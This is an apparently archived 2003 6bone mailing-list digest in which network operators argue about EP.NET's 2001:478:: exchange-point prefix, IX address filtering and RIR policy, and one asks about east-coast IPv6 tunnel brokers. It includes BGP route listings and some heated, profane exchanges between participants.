> > Version: Unfix PGP for Outlook Alpha 13 Int.
> > Comment: Jeroen Massar / jeroen@unfix.org / 
> http://unfix.org/~jeroen/
> >
> > 
> iQA/AwUBP1hBFSmqKFIzPnwjEQJS3ACglwf0bDfxBaMw8qiQZtd0C7kfcNgAni4Z
> > rxCrAjWROrtAZ93vkZOp5cns
> > =51ex
> > -----END PGP SIGNATURE-----
> >
> >
> 
> 
> 
> -- 
> Chris Liljenstolpe
> GPG Keys: http://www.io.com/~cds/cdl-keys.asc
> 

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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From Robert.Kiessling@de.easynet.net Sat Sep  6 06:42:45 2003
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To: Bill Manning <bmanning@ISI.EDU>
Cc: jeroen@unfix.org (Jeroen Massar), tvo@enterzone.net, 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478::  as /48
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: Sat, 06 Sep 2003 14:42:39 +0100
In-Reply-To: <200309050508.h8558hw05937@boreas.isi.edu> (Bill Manning's
 message of "Thu, 4 Sep 2003 22:08:42 -0700 (PDT)")
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Bill Manning <bmanning@ISI.EDU> writes:

> 	Use of 2001:0478::/32 pre-dates RIR policies.

|        IPv6 Assignment and Allocation Policy Document
|
|                               APNIC, ARIN, RIPE NCC
|                           Date Published: July 20, 1999

NetRange:   2001:0478:0000:0000:0000:0000:0000:0000 - 2001:0478:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF 
CIDR:       2001:0478:0000:0000:0000:0000:0000:0000/32 
NetName:    EP-NET
NetHandle:  EP-NET-NET
Parent:     ARIN-001
NetType:    Direct Allocation
NameServer: FLAG.EP.NET
NameServer: Z.IP6.INT
Comment:    
RegDate:    2001-05-21
Updated:    2002-08-05

That's about two years *after* the first RIR policies.

Robert


From tvo@EnterZone.Net Sat Sep  6 08:45:15 2003
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From: John Fraizer <tvo@EnterZone.Net>
To: Jeroen Massar <jeroen@unfix.org>
cc: "'Chris Liljenstolpe'" <cds@io.com>, 6bone@mailman.isi.edu
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sat, 6 Sep 2003, Jeroen Massar wrote:

> But as the IX prefixes are only intended for peering exchanges
> and not for services this all should not be a problem unless you
> are at that IX, in which case you have a static route, not in BGP.

Um, you mean a connected route, right?

> People should set up loopback interfaces anyways and use that
> address for their routers, so that the IX prefix never appears
> on the wire to the outside world.

OK.  So in an exchange point situation, where you are connecting to a L2
fabric and using a common network so you can make use of a route-server
and not be required to have N^2 BGP sessions to have redundancy, how do
you propose this happen?  You just added MORE complexity to use a
route-server rather than taking it away.

Bill never *DEMANDED* that anyone accept 2001:478:: prefixes at all.  He
simply made the same announcement that he has for the previous two
years: Don't expect to see this one as a /32 but rather as /48's, IF you
see it at all.

If you don't like it, filter it.  I could care less, as I'm sure Bill
could.  If you don't connect to one of the IX's that use EP.NET address
space, you never have to see it at all.  Deal with it and stop your
whining, bitching and moaning.  Nobody is making you do anything and
you're not going to make US do anything either.

As for AMS-IX predating 2001:478::, perhaps it predates the prefix but it
does NOT predate EP.NET or the services that Bill has been providing to
exchange points in the US.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From jeroen@unfix.org Sat Sep  6 09:53:33 2003
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Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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-----BEGIN PGP SIGNED MESSAGE-----

John Fraizer [mailto:tvo@EnterZone.Net] wrote:

> On Sat, 6 Sep 2003, Jeroen Massar wrote:
> 
> > But as the IX prefixes are only intended for peering exchanges
> > and not for services this all should not be a problem unless you
> > are at that IX, in which case you have a static route, not in BGP.
> 
> Um, you mean a connected route, right?

Ack.

> > People should set up loopback interfaces anyways and use that
> > address for their routers, so that the IX prefix never appears
> > on the wire to the outside world.
> 
> OK.  So in an exchange point situation, where you are 
> connecting to a L2 fabric and using a common network so you can make use of a 
> route-server and not be required to have N^2 BGP sessions to have 
> redundancy, how do you propose this happen?  You just added MORE
> complexity to use a route-server rather than taking it away.

The most usual and easiest way is a switch with a prefix (/64).
That prefix doesn't need to be seen in any BGP table, only as
a static route on the router itself. As you can use a loopback
address, from that router's owner own space and which is globally
routable as a nexthop and there is also no problem whatsoever
with traceroutes etc. This is why we have IX space and why it
is possible to give it out per /48, which is the minimum size
given out to an endsite. An IX can have multiple links, thus
a /64 doesn't suffice -> they get a /48.

Afaik, this is the most logical usage case.

Great example why you don't want to have IX prefixes in BGP and
should actually be actively filtering them and complaining to
the people redistributing is a case where the switching fabric
goes down, you receive the IX prefix over your transit and
suddenly all your bgp sessions go over transit, neat ;)

> Bill never *DEMANDED* that anyone accept 2001:478:: prefixes 
> at all.

He didn't demand it, but apparently he does request it between
the lines. I never saw anybody else mention anything about the
prefixes they where announcing in the IPv6 world. Thus what
else would be the intention except for mailinglist filling?

> He simply made the same announcement that he has for the previous two
> years: Don't expect to see this one as a /32 but rather as 
> /48's, IF you see it at all.

Currently GRH sees the following:

2001:478::/45      2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
2001:478::/45      2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
2001:478::/45    > 2001:470:1fff:3::3   6939 109 4555  IGP 
2001:478::/45      2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 
2001:478:65::/48   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
2001:478:65::/48   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
2001:478:65::/48 > 2001:470:1fff:3::3   6939 109 4555  IGP 
2001:478:65::/48   2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 

Hmmm a /45 is not a /48 last time I did my math test.
So there are aggregates? Why don't make it that nice /32 then
if you want it to be visible.

If you don't want it to be visible, then why don't you slap on
a no-export (okay, which gets dropped by some) or simply don't
distribute it to BGP?

> If you don't like it, filter it.  I could care less, as I'm sure Bill

You could care less, so you actually care, I'll take that is a typo ;)

> could.  If you don't connect to one of the IX's that use 
> EP.NET address space, you never have to see it at all.
> Deal with it and stop your whining, bitching and moaning.

Ouch, did somebody step on or cut off, your foot ?
If you can't make a valid argument, don't resort to feeble
attempts of trying to make it into a flamewar. It just shows
that you don't have any argument in your advantage.
I don't swear, I hope you can deal with that too.

On one hand you say you want it visible, why else does it get
announced and on the other hand you don't care, oddness...
But I am probably just a whi... bit... and a moa...
Personal attacks don't do the content of your message any good.

> Nobody is making you do anything and
> you're not going to make US do anything either.

I never had the intention of making you, apparenty that would
require force anyways. My intention was making clear that the prefix
you are using is *nothing special*, which apparently you are trying to
convince to everybody, but it isn't.

Now you are, between the lines, requesting that everybody not filter
your prefix, tomorrow some other nitwit comes along and simply invents
some /32 from which he/she/it is going to do "multihomed prefixes" and
requests that everybody allows it accross the world. If you want to
change policy, then bring it to the policy department.

I actually also am starting to wonder why this has been brought up
on the 6bone mailinglist and not on for example v6ops as it is RIR
space we are talking about here. But that is next to the point.

> As for AMS-IX predating 2001:478::, perhaps it predates the 
> prefix but it does NOT predate EP.NET or the services that Bill
> has been providing to exchange points in the US.

What has IPv4 to do with IPv6?
This banana is older than that pear, better watch out if it is rotten.

Fortunatly one can renumber, but apparently the EP.NET IX's are
not "normal" IX's, they are special and thus they can't play along
like the rest of the world even though there are policies in place
even way before the allocation was made, without policy no alloc.
And even though apparently suddenly you are no LIR. Hmm politics...

Greets,
 Jeroen

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From gert@Space.Net Sat Sep  6 10:05:21 2003
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From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Jeroen Massar <jeroen@unfix.org>, "'Chris Liljenstolpe'" <cds@io.com>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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Hi,

On Sat, Sep 06, 2003 at 11:45:08AM -0400, John Fraizer wrote:
> As for AMS-IX predating 2001:478::, perhaps it predates the prefix but it
> does NOT predate EP.NET or the services that Bill has been providing to
> exchange points in the US.

While this all very nice, I just can't understand why people can't just
use the official way: go to your local registry, get a IXP prefix.

Seems to work quite well, *even* in ARIN land (ARIN having assigned
about 10 IXP prefixes so far, while all the registries in total have
assigned 52 IXP prefixes).

Are you trying to sabotage the global IPv6 policy?  Or trying to prove
something?  If yes, what is it?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Sat Sep  6 11:06:40 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
In-Reply-To: <20030906190518.Y67740@Space.Net> from Gert Doering at "Sep 6, 3 07:05:18 pm"
To: gert@space.net (Gert Doering)
Date: Sat, 6 Sep 2003 11:06:31 -0700 (PDT)
Cc: tvo@EnterZone.Net, jeroen@unfix.org, cds@io.com, 6bone@ISI.EDU
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% While this all very nice, I just can't understand why people can't just
% use the official way: go to your local registry, get a IXP prefix.
% 
% Seems to work quite well, *even* in ARIN land (ARIN having assigned
% about 10 IXP prefixes so far, while all the registries in total have
% assigned 52 IXP prefixes).
% 
% Are you trying to sabotage the global IPv6 policy?  Or trying to prove
% something?  If yes, what is it?
% 
% Gert Doering

	People can go to their RIR. Several do.  I think that this
	is a great idea.  It doesn't work for some and for those,
	EP.NET provides a choice.  In either case, neither EP.NET 
	nor the RIRs are "sabotaging" (interesting choice of words)
	any "global" (now that is even more interesting... I know
	of a couple of recommedations that are either regional or
	segment specific, but nothing that remotely resembles a truly
	global) policy when they each publish a specific list of TLAs that
	are expected to have different characteristics wrt the 
	routing system. 

	RIRs don't make assertions wrt routablity for any delegations
	they make.  EP.NET does not make assertions wrt routability 
	for any delegations it makes.  Each ISP must make those choices
	for themselves as to which prefixes they will or will not carry.

	The -ONLY- statement made by EP.NET was that -IF- anyone was
	to see an entry for 2001:0478 that was smaller than a /48, e.g.
	a /35 or /32, that such an annoucement was in error.  

	Neither you, nor your other nay-sayers is required to listen
	to any prefix announcements that you don't like.  But I do
	object to you telling me and everyone else on this list  how 
	we are to use the space that was delegated for just this purpose. :) 
	

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From jeroen@unfix.org Sat Sep  6 11:25:53 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Date: Sat, 6 Sep 2003 20:25:47 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Bill Manning [mailto:bmanning@ISI.EDU] wrote:

<SNIP>

> 	The -ONLY- statement made by EP.NET was that -IF- anyone was
> 	to see an entry for 2001:0478 that was smaller than a /48, e.g.
> 	a /35 or /32, that such an annoucement was in error.  

2001:478::/45   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
2001:478::/45   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
2001:478::/45 > 2001:470:1fff:3::3   6939 109 4555  IGP 
2001:478::/45   2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 

You are in error here then, I guess?

Btw 'smaller' is a rather odd wording as one could say that
a /32 is smaller as a /35 (smaller amount of network bits) or say
that a /35 is smaller as a /32 (smaller amount of host bits).
I tend to prefer the host kind of smaller.

Greets,
 Jeroen

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Version: Unfix PGP for Outlook Alpha 13 Int.
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From hank@att.net.il Sat Sep  6 11:40:22 2003
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To: Bill Manning <bmanning@ISI.EDU>, pekkas@netcore.fi (Pekka Savola)
From: Hank Nussbacher <hank@att.net.il>
Subject: Re: [6bone] 2001:478::  as /48
Cc: tvo@enterzone.net, jeroen@unfix.org, bmanning@ISI.EDU, 6bone@ISI.EDU
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At 01:11 PM 05-09-03 -0700, Bill Manning wrote:
>%
>% Renumber.  It's trivial to set up identical BGP sessions with the new
>% addresses and retire the old when your peer configures the BGP session in
>% turn.  After all have done that, remove the old prefix.
>%
>
>         I would, but ARIN does not want to.  That being said,

Can you refer us to the RFC, ARIN policy statement, ARIN discussion thread 
that states this?  Or is this all verbal policy?

-Hank


>--bill
>Opinions expressed may not even be mine by the time you read them, and
>certainly don't reflect those of any other entity (legal or otherwise).
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From mcr@sandelman.ottawa.on.ca Sat Sep  6 12:28:09 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Sat, 06 Sep 2003 20:25:47 +0200."
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>>>>> "Jeroen" == Jeroen Massar <jeroen@unfix.org> writes:
    Jeroen> -----BEGIN PGP SIGNED MESSAGE-----

    Jeroen> Bill Manning [mailto:bmanning@ISI.EDU] wrote:

    Jeroen> <SNIP>

    >> The -ONLY- statement made by EP.NET was that -IF- anyone was
    >> to see an entry for 2001:0478 that was smaller than a /48, e.g.
    >> a /35 or /32, that such an annoucement was in error.  

    Jeroen> 2001:478::/45   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
    Jeroen> 2001:478::/45   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
    Jeroen> 2001:478::/45 > 2001:470:1fff:3::3   6939 109 4555  IGP 
    Jeroen> 2001:478::/45   2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 

    Jeroen> You are in error here then, I guess?

    Jeroen> Btw 'smaller' is a rather odd wording as one could say that
    Jeroen> a /32 is smaller as a /35 (smaller amount of network bits) or say

  I like to use the term "more specific" and "less specific".

]      Out and about in Ottawa.    hmmm... beer.                |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian/notebook using, kernel hacking, security guy");  [
  
 
  

From haesu@mx01.bos.ma.towardex.com Sat Sep  6 12:38:16 2003
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Subject: [6bone] Eastcoast tunnelbrokers..
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Hi All,

Appologies if you feel this is a little bit of OT post.. But I figured this may be a best place to ask..

Are there any tunnelbrokers in east coast (preferably Northeast/NYC area) who can give BGP4+ view of the ipv6 internet just like HE.net's tunnelbroker? Ive looked in many places and the only tunnel places I can find that have presence in NYC are common ones such as freenet6 who do not generally offer bgp feeds/peering.

Thanks,
-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

From jeroen@unfix.org Sat Sep  6 14:04:05 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Haesu'" <haesu@towardex.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Eastcoast tunnelbrokers..
Date: Sat, 6 Sep 2003 23:03:59 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Haesu wrote:

> Appologies if you feel this is a little bit of OT post.. But 
> I figured this may be a best place to ask..

It's the 6bone list, thus it is not offtopic.

> Are there any tunnelbrokers in east coast (preferably 
> Northeast/NYC area) who can give BGP4+ view of the ipv6 
> internet just like HE.net's tunnelbroker? Ive looked in many 
> places and the only tunnel places I can find that have 
> presence in NYC are common ones such as freenet6 who do not 
> generally offer bgp feeds/peering.

Afaik there is only HE.Net and Freenet6 as wellknown brokers
in the US. There might be others though, let them speak up.
SixXS doesn't have any POP's there neither private or public.
Unfortunatly the deployment rate in the US is a little low.
If any ISP wants help, don't be afraid to ask :)

I wonder why you want to do BGP over a tunnel.
Especially endusers should not be given BGP as they are
given transit for the delegated space and the ISP should
filter out anything else coming in (ingress filtering)

Please read the "Minimal IPv6 Peering" doc by Robert Kießling:
http://ip6.de.easynet.net/ipv6-minimum-peering.txt

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From haesu@mx01.bos.ma.towardex.com Sat Sep  6 14:22:05 2003
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Date: Sat, 6 Sep 2003 17:22:20 -0400
From: Haesu <haesu@towardex.com>
To: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Eastcoast tunnelbrokers..
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We run  rather a large test/sandbox network where we give out ipv6 transit to
users for free (this is a nonprofit network used for education and development
purposes).

B/c it's all nonprofit, we don't have funding to afford commercial ipv6
connectivity, in which many of of native ipv6 services out there are offered
commercially..

We currently receive full bgp4+ feed from he.net's tunnelbroker which is great..
And the latency from our nonprofit net's san francisco POP to he.net's tunnel
broker router is only 4miliseconds which is very good connectivity.

The problem is, a lot of east coast users get really bad pingtime as everything
has to route out via SFO. So we are just looking for anyone who run an ipv6
network in the east who could give us bgp4+ feed over a tunnel.

Regards,

-hc

On Sat, Sep 06, 2003 at 11:03:59PM +0200, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Haesu wrote:
> 
> > Appologies if you feel this is a little bit of OT post.. But 
> > I figured this may be a best place to ask..
> 
> It's the 6bone list, thus it is not offtopic.
> 
> > Are there any tunnelbrokers in east coast (preferably 
> > Northeast/NYC area) who can give BGP4+ view of the ipv6 
> > internet just like HE.net's tunnelbroker? Ive looked in many 
> > places and the only tunnel places I can find that have 
> > presence in NYC are common ones such as freenet6 who do not 
> > generally offer bgp feeds/peering.
> 
> Afaik there is only HE.Net and Freenet6 as wellknown brokers
> in the US. There might be others though, let them speak up.
> SixXS doesn't have any POP's there neither private or public.
> Unfortunatly the deployment rate in the US is a little low.
> If any ISP wants help, don't be afraid to ask :)
> 
> I wonder why you want to do BGP over a tunnel.
> Especially endusers should not be given BGP as they are
> given transit for the delegated space and the ISP should
> filter out anything else coming in (ingress filtering)
> 
> Please read the "Minimal IPv6 Peering" doc by Robert Kie?ling:
> http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> 
> iQA/AwUBP1pLtymqKFIzPnwjEQJXMQCeK59kOFmYz0pKSZ4KI/Mk5rWXp5MAoK0A
> UMONW3PlCib1oylLH1TUw6Ib
> =+NhG
> -----END PGP SIGNATURE-----

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

From jeroen@unfix.org Sat Sep  6 15:04:28 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Haesu'" <haesu@towardex.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Eastcoast tunnelbrokers..
Date: Sun, 7 Sep 2003 00:04:23 +0200
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Haesu [mailto:haesu@towardex.com] wrote:

> We run  rather a large test/sandbox network where we give out 
> ipv6 transit to users for free (this is a nonprofit network used for 
> education and development purposes).

#define large aka number of endsites, avg. traffic etc.
Afaik any if not all of the TB's give out transit for free btw.

> B/c it's all nonprofit, we don't have funding to afford 
> commercial ipv6 connectivity, in which many of of native
> ipv6 services out there are offered commercially..

SixXS is a complete non-profit operation too btw, the
ISP's participating make sure they provide commercial
grade IPv6 connectivity.

It all depends on what you need and where apparently.

> We currently receive full bgp4+ feed from he.net's 
> tunnelbroker which is great..
> And the latency from our nonprofit net's san francisco POP to 
> he.net's tunnel broker router is only 4miliseconds which is
> very good connectivity.
> 
> The problem is, a lot of east coast users get really bad 
> pingtime as everything has to route out via SFO. So we are
> just looking for anyone who run an ipv6 network in the east
> who could give us bgp4+ feed over a tunnel.

If I where you, I would first get myself a TLA from ARIN.
Then go to an IX where IPv6 is present or start doing native
peerings with other ISP's. Currently most ISP's will give
transit for free, thus that is a nobrainer.

Apparently you give out /120's to endusers, how can they
experiment correctly with such amount of space? The whole
idea of IPv6 was that endsites get a *lot* of address space
so that they autoconfigure anything on their network links
ranging from their PC to their refridgerator to their PS2's
and xboxes. Give your users /48's, that's the policy.

But that is my personal opinion :)

Greets,
 Jeroen

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From haesu@mx01.bos.ma.towardex.com Sat Sep  6 15:16:59 2003
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To: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Eastcoast tunnelbrokers..
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> 
> #define large aka number of endsites, avg. traffic etc.
> Afaik any if not all of the TB's give out transit for free btw.

End sites are about 200 in total spread out throughout the country..
Bandwidth used however are very low as many of them mostly use ipv6 to try out
the addressing scheme, etc or what not.. Aggregate bandwidth pushed out to 
all TB's is total of only 300kbps to 1Mbps..

> 
> If I where you, I would first get myself a TLA from ARIN.
> Then go to an IX where IPv6 is present or start doing native
> peerings with other ISP's. Currently most ISP's will give
> transit for free, thus that is a nobrainer.

This is already in the works, but will take a little bit of time.

> 
> Apparently you give out /120's to endusers, how can they
> experiment correctly with such amount of space? The whole
> idea of IPv6 was that endsites get a *lot* of address space
> so that they autoconfigure anything on their network links
> ranging from their PC to their refridgerator to their PS2's
> and xboxes. Give your users /48's, that's the policy.

Wherever you got that from (I think you got it from our site), it's outdated.
We used to do /120 at first when we were just building up ipv6 network.
Now that we have enough users, automatic /64 assignment is current policy.

-hc


> 
> But that is my personal opinion :)
> 
> Greets,
>  Jeroen
> 
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-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

From tvo@EnterZone.Net Sat Sep  6 15:37:31 2003
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From: John Fraizer <tvo@EnterZone.Net>
To: Jeroen Massar <jeroen@unfix.org>
cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sat, 6 Sep 2003, Jeroen Massar wrote:

> > OK.  So in an exchange point situation, where you are 
> > connecting to a L2 fabric and using a common network so you can make use of a 
> > route-server and not be required to have N^2 BGP sessions to have 
> > redundancy, how do you propose this happen?  You just added MORE
> > complexity to use a route-server rather than taking it away.
> 
> The most usual and easiest way is a switch with a prefix (/64).

And that /64 (or /48 as it may be) is a connected route.  It becomes a
*seemless* fusion between ASNs.  Nexthops are handed out by the Route
Server and no further intervention is required on the part of
participants.  The nexthop is part of the IX address space, which is a
*connected* route.  No static routes required.  On the other hand, if that
address space is not globally routed, it breaks PMTU-Disc, traceroute,
etc.


> That prefix doesn't need to be seen in any BGP table, only as
> a static route on the router itself. As you can use a loopback
> address, from that router's owner own space and which is globally
> routable as a nexthop and there is also no problem whatsoever
> with traceroutes etc. This is why we have IX space and why it

Usingt owner address space requires that static routes be added for every
peer.  Which part of "Peering at an exchange point is *easier* than
multiple bilateral peering sessions" did you not understand when the
virtues of IX's were explained?

Look.  If you want to do it in a broken, antiquated way, that is just
fine.  Don't expect us to do so.  If you want to filter the address space
used for IX's managed by EP.NET, that is just fine.  Stop bitching and
moaning though.  You quite OBVIOUSLY have much less experience in the
arena than myself, let alone Bill and simply want to bitch and moan and
see your own emails echoed by the list.  Get over yourself.

> Great example why you don't want to have IX prefixes in BGP and
> should actually be actively filtering them and complaining to
> the people redistributing is a case where the switching fabric
> goes down, you receive the IX prefix over your transit and
> suddenly all your bgp sessions go over transit, neat ;)

No.  Actually, that is a great example of YOU not understanding how to
properly configure your BGP sessions and preferences.  Don't expect us to
make changes to accomodate your being void of appropriate clue.

> > Bill never *DEMANDED* that anyone accept 2001:478:: prefixes 
> > at all.
> 
> He didn't demand it, but apparently he does request it between
> the lines. I never saw anybody else mention anything about the
> prefixes they where announcing in the IPv6 world. Thus what
> else would be the intention except for mailinglist filling?

You, Son, are the one who appears to be interested in Mailing list
filling.  If you don't want to accept the /48 that's *FINE* but, I *BEG OF
YOU!!!* GET OVER YOURSELF!  Drop it.  I couldn't give a rats ass if you
carry the /48 we use at ISI-LAP.  I'm serious.  Get over yourself and DROP
IT!

> > He simply made the same announcement that he has for the previous two
> > years: Don't expect to see this one as a /32 but rather as 
> > /48's, IF you see it at all.
> 
> Currently GRH sees the following:
> 
> 2001:478::/45      2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
> 2001:478::/45      2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
> 2001:478::/45    > 2001:470:1fff:3::3   6939 109 4555  IGP 
> 2001:478::/45      2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 
> 2001:478:65::/48   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
> 2001:478:65::/48   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
> 2001:478:65::/48 > 2001:470:1fff:3::3   6939 109 4555  IGP 
> 2001:478:65::/48   2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 
> 
> Hmmm a /45 is not a /48 last time I did my math test.
> So there are aggregates? Why don't make it that nice /32 then
> if you want it to be visible.

Again, get over yourself.  Filter your ass off.  I don't care.  Just
frigging DROP IT!
> 
> If you don't want it to be visible, then why don't you slap on
> a no-export (okay, which gets dropped by some) or simply don't
> distribute it to BGP?

If you don't want to accept it, why don't you filter it?  Just recently,
someone posted about people not honoring no-export yet, you want us to use
it?  Sheesh.  Make up your mind.

> > If you don't like it, filter it.  I could care less, as I'm sure Bill
> 
> You could care less, so you actually care, I'll take that is a typo ;)
> 

I *COULD ***NOT*** CARE LESS IF MY TRAFFIC MAKES IT IN AND OUT OF YOUR
PO-DUNK, WANNA-BE, WISH I WAS A REAL PROVIDER* network.  Does that make it
clear enough for you?

> attempts of trying to make it into a flamewar. It just shows
> that you don't have any argument in your advantage.
> I don't swear, I hope you can deal with that too.

There is no argument.  If you don't want to accept the routes, you don't
have to.  You're wasting our time, and bandwidth with your constant
whining and rehashing of the same bullshit.  DROP IT, you CHILD!

> On one hand you say you want it visible, why else does it get
> announced and on the other hand you don't care, oddness...

I don't care if YOU can see it.  You see, you, believe it or not, have the
power to NOT accept the prefix.  If you don't want to, you don't have to
accept it.  Deal with it.


> But I am probably just a whi... bit... and a moa...
> Personal attacks don't do the content of your message any good.

And whining and bitching and moaning don't do you any good either.  If you
don't want to accept the prefixes, don't accept them but for GODS SAKE,
stop your frigging whining about it!  

> I never had the intention of making you, apparenty that would
> require force anyways. My intention was making clear that the prefix
> you are using is *nothing special*, which apparently you are trying to
> convince to everybody, but it isn't.

Nobody tried to convince anyone that the prefix was special.  It is being
used in a non-conventional way and that was pointed out so that those who
DESIRED to accept the prefix would KNOW that it was LEGIT.

> Now you are, between the lines, requesting that everybody not filter
> your prefix, tomorrow some other nitwit comes along and simply invents
> some /32 from which he/she/it is going to do "multihomed prefixes" and
> requests that everybody allows it accross the world. If you want to
> change policy, then bring it to the policy department.

When did ANYONE request that it not be filtered?  Bill simply notified
that the prefix would appear as /48's.  He didn't say, "Please don't
filter this."  It was a "For your information" post.  DEAL WITH IT!

> I actually also am starting to wonder why this has been brought up
> on the 6bone mailinglist and not on for example v6ops as it is RIR
> space we are talking about here. But that is next to the point.

You just want to complain, don't you?   Which ASNs do you control?  I want
to update my "Bitch filters".

--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From bmanning@ISI.EDU Sat Sep  6 16:02:45 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200309062302.h86N2XM18638@boreas.isi.edu>
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
In-Reply-To: <00d101c374a4$4b47a170$210d640a@unfix.org> from Jeroen Massar at "Sep 6, 3 08:25:47 pm"
To: jeroen@unfix.org (Jeroen Massar)
Date: Sat, 6 Sep 2003 16:02:33 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% > 	The -ONLY- statement made by EP.NET was that -IF- anyone was
% > 	to see an entry for 2001:0478 that was smaller than a /48, e.g.
% > 	a /35 or /32, that such an annoucement was in error.  
% 
% 2001:478::/45   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
% 2001:478::/45   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
% 2001:478::/45 > 2001:470:1fff:3::3   6939 109 4555  IGP 
% 2001:478::/45   2001:610:ff:c::2     1888 1103 11537 6939 109 4555  IGP 
% 
% You are in error here then, I guess?

	Yup.  A typo was made (one of the folks following the "default"
	of aggregation) and will be removed.

% Btw 'smaller' is a rather odd wording as one could say that
% a /32 is smaller as a /35 (smaller amount of network bits) or say
% that a /35 is smaller as a /32 (smaller amount of host bits).
% I tend to prefer the host kind of smaller.

	normal CIDR notation here.

	32 < 35 < 45 < 48 < 64


 
% Greets,
%  Jeroen
% 
% -----BEGIN PGP SIGNATURE-----
% Version: Unfix PGP for Outlook Alpha 13 Int.
% Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
% 
% iQA/AwUBP1omqymqKFIzPnwjEQIxQQCdEGH9LH30ZNUrPsUA0sj2VfSKXmQAoJjh
% xBOVVhHKhg/HBLgcc0uoL+fN
% =/67Q
% -----END PGP SIGNATURE-----
% 
[End of raw data]


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From bmanning@ISI.EDU Sat Sep  6 16:03:54 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200309062303.h86N3bE19422@boreas.isi.edu>
Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <5.1.0.14.2.20030906213501.00aa7010@max.att.net.il> from Hank Nussbacher at "Sep 6, 3 09:36:29 pm"
To: hank@att.net.il (Hank Nussbacher)
Date: Sat, 6 Sep 2003 16:03:37 -0700 (PDT)
